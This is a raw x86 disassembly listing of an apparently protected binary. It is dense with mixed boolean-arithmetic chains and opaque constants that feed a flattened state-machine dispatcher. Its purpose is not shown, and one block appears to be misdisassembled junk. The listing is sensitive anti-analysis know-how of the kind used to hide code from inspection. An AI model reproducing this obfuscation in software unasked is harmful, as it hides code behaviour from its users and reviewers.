sub esi, 0xda09ca5d
and esi, 0xdb003e27
mov eax, 0xffffffff
xor eax, 0xab326d3a
xor ecx, ecx
sub ecx, 1
sub eax, ecx
sub esi, eax
xor esi, 0xf69f1841
add esi, 0x98e47656
add esi, 0x3fdd9339
sub esi, 0x98e47656
add esi, 0xdc564ab5
mov eax, esi
xor eax, 0xd93acc75
xor eax, 0xffffffff
or esi, 0xd93acc75
and esi, eax
sub esi, 0xf0565758
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x11483a0c
mov edx, 0xffffffff
xor edx, 0x11483a0c
and esi, edx
mov eax, 0xffffffff
xor eax, 0xf9eabfeb
and eax, 0x11483a0c
and edx, 0xf9eabfeb
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0x2e7d889e
shl eax, 1
add ecx, 0x2e7d889e
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x3c2cdbbd
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x3c2cdbbd
add ecx, edx
sub ecx, eax
sub ecx, 0x8eee1452
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xc7c844
add ecx, eax
mov edx, 0xffffffff
xor edx, 0x9b37ff80
mov eax, ecx
xor eax, edx
and eax, ecx
imul ecx, eax, 0x4f08530d
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x8bbf4f73
or edx, 0x8bbf4f73
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x8bbf4f73
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x351c1812
xor edx, edx
div ecx
mov ecx, 0x5a3b24f8
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x41775805
mov ecx, 0x8f3c5ec1
mov edx, 0xac36920e
cmp esi, 0xf0598bc0
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf04c]
xor edx, edx
div dword [0x101cf050]
mov ecx, eax
add ecx, 0xa432b01d
add ecx, 0xc574ed87
sub ecx, 0xa432b01d
mov edx, 0xffffffff
xor edx, 0xd9c8c96
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0xe373a319
xor edx, edx
div ecx
mov ecx, 0xd7a93e18
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x8394c873
add ecx, 0x6d0c1c54
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbc596302
or eax, edx
mov edx, 0xffffffff
xor edx, 0xbc596302
mov esi, 0xffffffff
xor esi, 0xbc596302
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0x651e34d4
add eax, ecx
mov ecx, 0x198c9c42
xor edx, edx
div ecx
mov esi, eax
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
mov eax, 0xffffffff
xor eax, 0x54c72d10
mov ecx, 0xffffffff
xor ecx, 0x54c72d10
and eax, ecx
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
and esi, 0xc98b5147
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xb78ea5ac
mov edx, 0xffffffff
xor edx, 0xb78ea5ac
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0xb78ea5ac
or esi, 0xb78ea5ac
imul esi, ecx
add esi, eax
add esi, 0x3d15c141
or esi, 0x8a69f972
mov eax, esi
xor eax, 0xffffffff
and eax, 0x61167547
mov edx, 0xffffffff
xor edx, 0x61167547
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x14000c1e
and ecx, 0x61167547
and edx, 0x14000c1e
or eax, esi
or ecx, edx
xor eax, ecx
or eax, 0x27eba2e8
mov ecx, 0x6d6fca83
xor edx, edx
div ecx
mov ecx, 0xd63f5ad3
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x38ee5aca
add eax, ecx
add eax, 0xd82fe4ea
imul eax, eax, 0xfc005bbc
xor ecx, ecx
sub ecx, 0x5702138a
add eax, ecx
add eax, 0x999ae0a2
add eax, 0xfe604c2
mov ecx, eax
xor ecx, 0x22912d1f
mov edx, 0xffffffff
xor edx, 0x22912d1f
and eax, edx
shl eax, 1
sub eax, ecx
imul ecx, eax, 0xb1c8e76e
sub ecx, 0xb1f61b0
mov eax, ecx
and eax, 0x5300fe43
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5300fe43
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x2398ed7c
xor ecx, ecx
sub ecx, 0xf2664cb0
sub eax, ecx
sub eax, 0xc4254090
mov ecx, 0x6ab67455
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xb19d12e2
sub eax, ecx
mov ecx, 0x7c6b2e0a
xor edx, edx
div ecx
imul eax, eax, 0x2dee9116
add eax, 0xa31b54e5
mov ecx, 0x8cd5cc26
xor edx, edx
div ecx
mov ecx, 0x24f78f2d
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, ecx
and edx, 0xeaf65fa1
shl edx, 1
add ecx, 0xeaf65fa1
sub ecx, edx
imul esi, ecx, 0x4c40d78a
mov ecx, 0xd061bbc2
mov edx, 0x28a90816
cmp esi, 0xf458a8b8
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov esi, dword [0x101cf054]
mov edx, dword [0x101cf058]
mov eax, esi
xor eax, 0xffffffff
and eax, 0x4a846293
mov edi, 0xffffffff
xor edi, 0x4a846293
and esi, edi
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x4a846293
and edx, edi
or eax, esi
or ecx, edx
xor eax, ecx
add eax, 0x1b51c5dc
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2c9b779b
mov esi, 0xffffffff
xor esi, 0x2c9b779b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2c9b779b
or eax, 0x2c9b779b
imul eax, edx
add eax, ecx
sub eax, 0x75d1f13e
imul eax, eax, 0xae5dd3f7
mov edx, 0xffffffff
xor edx, 0xe7b743d8
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe7b743d8
add eax, edx
sub eax, ecx
mov ecx, 0xda532494
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x85ca5aa7
xor ecx, 0xffffffff
or eax, 0x85ca5aa7
and eax, ecx
imul eax, eax, 0x4f692a42
mov ecx, 0x2d61b40a
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0x90ee01d4
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x90ee01d4
add eax, edx
sub eax, ecx
mov ecx, 0x1dd6d999
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7e862007
mov esi, 0xffffffff
xor esi, 0x7e862007
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7e862007
or eax, 0x7e862007
imul eax, edx
add eax, ecx
add eax, 0x60140f02
or eax, 0xc50ee726
add eax, 0x85c6383a
sub eax, 0xed2d7df3
sub eax, 0x85c6383a
imul eax, eax, 0x34f9b0be
mov ecx, eax
xor ecx, 0xb57b0661
xor ecx, 0xffffffff
and ecx, 0xb57b0661
shl ecx, 1
sub ecx, 0xb57b0661
sub eax, ecx
mov ecx, eax
xor ecx, 0x7d246a92
xor ecx, 0xffffffff
and ecx, 0x7d246a92
shl ecx, 1
sub ecx, 0x7d246a92
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb15f5aa4
mov esi, 0xffffffff
xor esi, 0xb15f5aa4
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb15f5aa4
or eax, 0xb15f5aa4
imul eax, edx
add eax, ecx
imul eax, eax, 0xee66584c
add eax, 0xfd1af7d3
mov esi, 0xffffffff
xor esi, 0xc8abbaa5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc8abbaa5
or eax, 0xc8abbaa5
imul eax, edx
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x9917f46d
or ecx, 0x9917f46d
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xc4305155
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6cf47abc
mov esi, 0xffffffff
xor esi, 0x6cf47abc
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6cf47abc
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
or ecx, 0xa1ac35c0
xor ecx, 0x3a02d556
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3fef0945
or eax, edx
mov edx, 0x3fef0945
and edx, 0x3fef0945
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb745c696
mov esi, 0xffffffff
xor esi, 0xb745c696
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb745c696
or eax, 0xb745c696
imul eax, edx
add eax, ecx
sub eax, 0xc296be4
add eax, 0x47c4ed0c
add eax, 0xc296be4
xor eax, 0xb3627aca
mov esi, 0xffffffff
xor esi, 0xe022b8fe
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe022b8fe
or eax, 0xe022b8fe
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xd42866e7
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd42866e7
or eax, 0xd42866e7
imul eax, edx
add eax, ecx
or eax, 0xf5ec7171
mov ecx, 0x8101979b
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, 0x5dcaa594
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x54fb5853
mov edi, 0xffffffff
xor edi, 0x54fb5853
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x54fb5853
or ecx, 0x54fb5853
imul ecx, esi
add ecx, edx
mov edx, ecx
xor edx, 0xcf5a0f07
xor edx, 0xffffffff
or ecx, 0xcf5a0f07
and ecx, edx
mov edx, ecx
add edx, 1
xor ecx, 0xffffffff
or ecx, 0x95938b05
add ecx, edx
mov esi, ecx
and esi, 0x6ef2709b
or ecx, 0x6ef2709b
add esi, ecx
mov ecx, 0x9061f5c4
mov edx, 0xc28ba183
cmp esi, 0x7e347703
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf05c]
xor edx, edx
div dword [0x101cf060]
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0x227bc341
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x227bc341
or ecx, 0x227bc341
imul ecx, edx
add ecx, eax
sub ecx, 0x999b7702
mov esi, 0xffffffff
xor esi, 0x73301301
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x73301301
or ecx, 0x73301301
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf2faef10
mov edx, 0xffffffff
xor edx, 0xf2faef10
and ecx, edx
or eax, ecx
mov ecx, 0x813492dc
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x9dbccec4
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x5ce7f356
mov edx, 0xffffffff
xor edx, 0x5ce7f356
and ecx, edx
or eax, ecx
add eax, 0xe2a3ac94
or eax, 0x5ab9b3a9
mov edx, eax
xor edx, 0xffffffff
and edx, 0x71074ab0
mov esi, 0xffffffff
xor esi, 0x71074ab0
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x71074ab0
or eax, 0x71074ab0
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x41824b3e
mov edx, 0xffffffff
xor edx, 0x41824b3e
and eax, edx
shl eax, 1
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x89de4922
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x89de4922
or eax, 0x89de4922
imul eax, edx
add eax, ecx
mov ecx, 0xd5c783f2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x886276fe
mov edx, 0xffffffff
xor edx, 0x886276fe
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
and eax, 0x749b70e1
shl eax, 1
add ecx, 0x749b70e1
sub ecx, eax
mov eax, ecx
and eax, 0x397a7fc
shl eax, 1
add ecx, 0x397a7fc
sub ecx, eax
or ecx, 0xba92cb54
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x56ff1839
mov edx, 0xffffffff
xor edx, 0x56ff1839
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
and ecx, 0xb22478a0
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xfcec6809
mov edx, 0xffffffff
xor edx, 0xfcec6809
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x48918b4d
shl ecx, 1
xor eax, 0x48918b4d
add eax, ecx
imul eax, eax, 0x9fa9da07
mov ecx, eax
and ecx, 0x4353a0fa
xor ecx, 0xffffffff
add eax, 0x4353a0fa
add eax, 1
add eax, ecx
or eax, 0xfcf73417
mov ecx, 0x978a1891
xor edx, edx
div ecx
imul eax, eax, 0x66a046aa
mov ecx, 0x9943adb7
xor edx, edx
div ecx
mov ecx, 0x87e74bd8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul esi, ecx, 0x61ee3fe1
or esi, 0xc337547e
add esi, 0x376e002f
and esi, 0xc12981d5
and esi, 0xe11d9131
mov edx, 0xffffffff
xor edx, 0xd25bcd4
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0xd25bcd4
add esi, edx
sub esi, ecx
add esi, 0x7497fbda
sub esi, 0xdbf69876
xor ecx, ecx
sub ecx, 0xc37018df
sub esi, ecx
and esi, 0x817afab6
mov edx, esi
xor edx, 0xffffffff
and edx, 0x170ee4fd
mov edi, 0xffffffff
xor edi, 0x170ee4fd
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x170ee4fd
or esi, 0x170ee4fd
imul esi, edx
add esi, ecx
sub esi, 0xb5b90850
mov ecx, 0xc28ba183
mov edx, 0xd52e24a4
cmp esi, 0x41d07364
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf064]
sub eax, dword [0x101cf068]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xcfbf728b
mov edx, 0xffffffff
xor edx, 0xcfbf728b
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x37916bb9
or edx, 0x37916bb9
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x37916bb9
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0xb512d17c
sub eax, ecx
imul eax, eax, 0x731b889b
mov ecx, eax
xor ecx, 0x39255e1d
mov edx, 0xffffffff
xor edx, 0x39255e1d
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x14a29fcf
imul eax, eax, 0x7dd62bb3
mov ecx, eax
and ecx, 0x4913b136
shl ecx, 1
xor eax, 0x4913b136
add eax, ecx
add eax, 0x1c2042c8
sub eax, 0x1c3d17f8
sub eax, 0x1c2042c8
imul eax, eax, 0x1ffdaced
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x46b134f8
mov edx, 0xffffffff
xor edx, 0x46b134f8
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3c3597b4
add ecx, eax
xor eax, eax
sub eax, ecx
and eax, 0x76f106a7
mov ecx, 0xe7098c8a
xor edx, edx
div ecx
mov ecx, 0x2c2a50df
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0x987f7e80
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x987f7e80
or ecx, 0x987f7e80
imul ecx, edx
add ecx, eax
mov eax, 0xffffffff
xor eax, 0x6fbe442
add ecx, eax
add ecx, 1
mov eax, ecx
and eax, 0xcc5752ce
or ecx, 0xcc5752ce
add eax, ecx
imul ecx, eax, 0x5f346ee1
and ecx, 0xfafbce55
or ecx, 0x44d70391
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x25c2f9d8
mov eax, 0xffffffff
xor eax, 0xf44f02ff
or ecx, edx
or eax, 0xf44f02ff
xor ecx, 0xffffffff
and ecx, eax
add ecx, 0xab4a6b97
add ecx, 0x62d5ea3b
sub ecx, 0x483074e1
sub ecx, 0x62d5ea3b
mov eax, 0xffffffff
xor eax, 0x25433982
add ecx, eax
add ecx, 1
sub ecx, 0x78a45ab3
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x23828e78
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x23828e78
mov esi, 0xffffffff
xor esi, 0x23828e78
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7f809900
mov esi, 0xffffffff
xor esi, 0x7f809900
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7f809900
or eax, 0x7f809900
imul eax, edx
add eax, ecx
mov ecx, 0xdcc503ad
xor edx, edx
div ecx
mov esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xc7bd954e
mov edx, 0xffffffff
xor edx, 0xc7bd954e
and esi, edx
mov eax, 0xffffffff
xor eax, 0x91fdf6c7
and eax, 0xc7bd954e
and edx, 0x91fdf6c7
or ecx, esi
or eax, edx
xor ecx, eax
xor eax, eax
sub eax, 0xf81d2a3f
sub ecx, eax
add ecx, 0xa302233d
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x196c6302
xor eax, 0xffffffff
mov edx, 0x196c6302
and edx, 0x196c6302
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0xcba763f1
mov esi, 0xffffffff
xor esi, 0xefe6b76b
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xefe6b76b
or eax, 0xefe6b76b
imul eax, edx
add eax, ecx
or eax, 0xecf7a1aa
add eax, 0xfb5bbe57
add eax, 0xe758e1a1
sub eax, 0xfb5bbe57
mov ecx, 0xbdae56e0
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
add esi, 0x3d124dba
add esi, 0x225207aa
sub esi, 0x3d124dba
add esi, 0x217b8c17
mov ecx, 0x28a90816
mov edx, 0xfc042933
cmp esi, 0x984641fe
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101ad838
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x101cf06c]
mov edx, dword [0x101cf070]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
xor eax, 0x876d87c2
and eax, 0xe26821e1
xor eax, 0xef48c5b
add eax, 0x694e494f
mov esi, 0xffffffff
xor esi, 0x3be533bc
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3be533bc
or eax, 0x3be533bc
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x51949f56
mov esi, 0xffffffff
xor esi, 0x51949f56
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x51949f56
or eax, 0x51949f56
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xbb3b414c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbb3b414c
or eax, 0xbb3b414c
imul eax, edx
add eax, ecx
sub eax, 0x866545b8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xf0c89f47
mov edx, 0xffffffff
xor edx, 0xf0c89f47
and eax, edx
or ecx, eax
or ecx, 0x9b5daaa3
mov eax, ecx
and eax, 0x11e2a55
xor ecx, 0x11e2a55
or eax, ecx
and eax, 0x649b8fc2
mov ecx, 0xeb99ddef
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x811431aa
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xab2443f0
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xab2443f0
or eax, 0xab2443f0
imul eax, edx
add eax, ecx
mov ecx, 0xb0c9367f
xor edx, edx
div ecx
mov ecx, 0xcabe7e15
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x48020dce
add ecx, 0x4a8d35dd
add ecx, 0x48020dce
add ecx, 0xdc6d5673
add ecx, 0x72b4209
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x478c30b3
or eax, edx
mov edx, 0x478c30b3
and edx, 0x478c30b3
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul ecx, eax, 0xebf4f3c4
mov eax, ecx
and eax, 0xe295fe18
xor eax, 0xffffffff
add ecx, 0xe295fe18
add ecx, 1
add ecx, eax
mov esi, 0xffffffff
xor esi, 0xe45cb604
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xe45cb604
or ecx, 0xe45cb604
imul ecx, edx
add ecx, eax
mov eax, ecx
or eax, 0x67c9cdee
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x67c9cdee
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul ecx, eax, 0xa79a23d5
or ecx, 0xd9c1c0a0
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xdc3418c5
or edx, 0xdc3418c5
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xdc3418c5
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x9f9dd15a
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x2147f8bb
add eax, ecx
add eax, 0xd65579b2
sub eax, 0xb01647d5
sub eax, 0xd65579b2
sub eax, 0xeb5e9a06
and eax, 0x6983621c
mov ecx, 0xe1aef066
xor edx, edx
div ecx
mov ecx, 0x8c5460e3
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x27d9737e
mov edx, 0xffffffff
xor edx, 0xba1b84b3
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x9db65c4e
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xbce8b8
mov esi, 0xffffffff
xor esi, 0x9127f9e0
mov ecx, edx
and ecx, 0x9127f9e0
and eax, esi
mov dword [ebp - 0x80], eax
mov ebx, edi
and ebx, 0x9127f9e0
mov eax, esi
and eax, 0xbce8b8
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x80]
or ecx, eax
mov eax, dword [ebp - 0x7c]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x9127f9e0
and edx, esi
or ecx, edx
mov edx, 0xffffffff
xor edx, 0xe883bc23
mov esi, ecx
xor esi, edx
and esi, ecx
mov ecx, 0x65d9aceb
mov edx, 0xebd7951
cmp esi, 0x643f86a7
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov esi, 0x645a8274
sub eax, 0xb1d269df
jne 0x1010b5c9
fnsave dword [ebx - 0x74df5e5d]
or eax, 0x101d2614
mov ecx, 0x65d9aceb
mov edx, 0x6f3fccee
cmp esi, 0xb07ff4af
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xbdd7e20b
jmp 0x1010caac
mov eax, dword [0x101cf07c]
xor edx, edx
div dword [0x101cf080]
imul eax, eax, 0x5a083cb1
mov esi, 0xffffffff
xor esi, 0x79bd6d1f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x79bd6d1f
or eax, 0x79bd6d1f
imul eax, edx
add eax, ecx
sub eax, 0x1081485f
mov ecx, 0x4f38347a
xor edx, edx
div ecx
imul eax, eax, 0x83b29060
or eax, 0xeda43f57
mov ecx, eax
xor ecx, 0x962d67c6
xor ecx, 0xffffffff
or eax, 0x962d67c6
and eax, ecx
mov ecx, 0xee2708eb
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xd0da283d
mov edx, 0xffffffff
xor edx, 0xd0da283d
and ecx, edx
shl ecx, 1
sub ecx, eax
mov esi, 0xffffffff
xor esi, 0xd998dbd0
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xd998dbd0
or ecx, 0xd998dbd0
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x84], eax
mov esi, 0xffffffff
xor esi, 0x5510d985
mov edx, 0xffffffff
xor edx, 0x612a17d1
and eax, 0x612a17d1
and ecx, edx
mov edi, esi
and edi, 0x612a17d1
mov ebx, edx
and ebx, 0x5510d985
or eax, ecx
mov ecx, dword [ebp - 0x84]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x612a17d1
and ecx, edx
or eax, ecx
imul esi, eax, 0xdbcd41d3
or esi, 0xfdd24d8f
add esi, 0x85811e30
and esi, 0x8d295ec5
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xfae017be
mov edx, 0xffffffff
xor edx, 0xfae017be
and esi, edx
mov eax, 0xffffffff
xor eax, 0x12e8d8eb
and eax, 0xfae017be
and edx, 0x12e8d8eb
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0x59f12169
or ecx, 0x59f12169
add eax, ecx
or eax, 0x12933963
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x48d2eb60
mov ecx, 0xffffffff
xor ecx, 0x3f43b3a4
or eax, edx
or ecx, 0x3f43b3a4
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xd313951a
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x588dcd22
sub ecx, 0x2f0ac966
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x226a94fb
mov edx, 0xffffffff
xor edx, 0x226a94fb
and ecx, edx
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x40110a63
mov esi, 0xffffffff
xor esi, 0x40110a63
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x40110a63
or ecx, 0x40110a63
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x39503876
mov edx, 0xffffffff
xor edx, 0x39503876
and ecx, edx
or eax, ecx
add eax, 0x659591da
mov ecx, 0x478d4bcf
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xa85465de
sub eax, ecx
mov ecx, 0x67791709
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd22d9a0e
mov edx, 0xffffffff
xor edx, 0xd22d9a0e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
add eax, 0x183e36ab
and eax, 0x88e40465
add eax, 0xfc86fdb4
or eax, 0x49f4a0a0
mov edx, eax
xor edx, 0xffffffff
and edx, 0xca7d3df0
mov esi, 0xffffffff
xor esi, 0xca7d3df0
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xca7d3df0
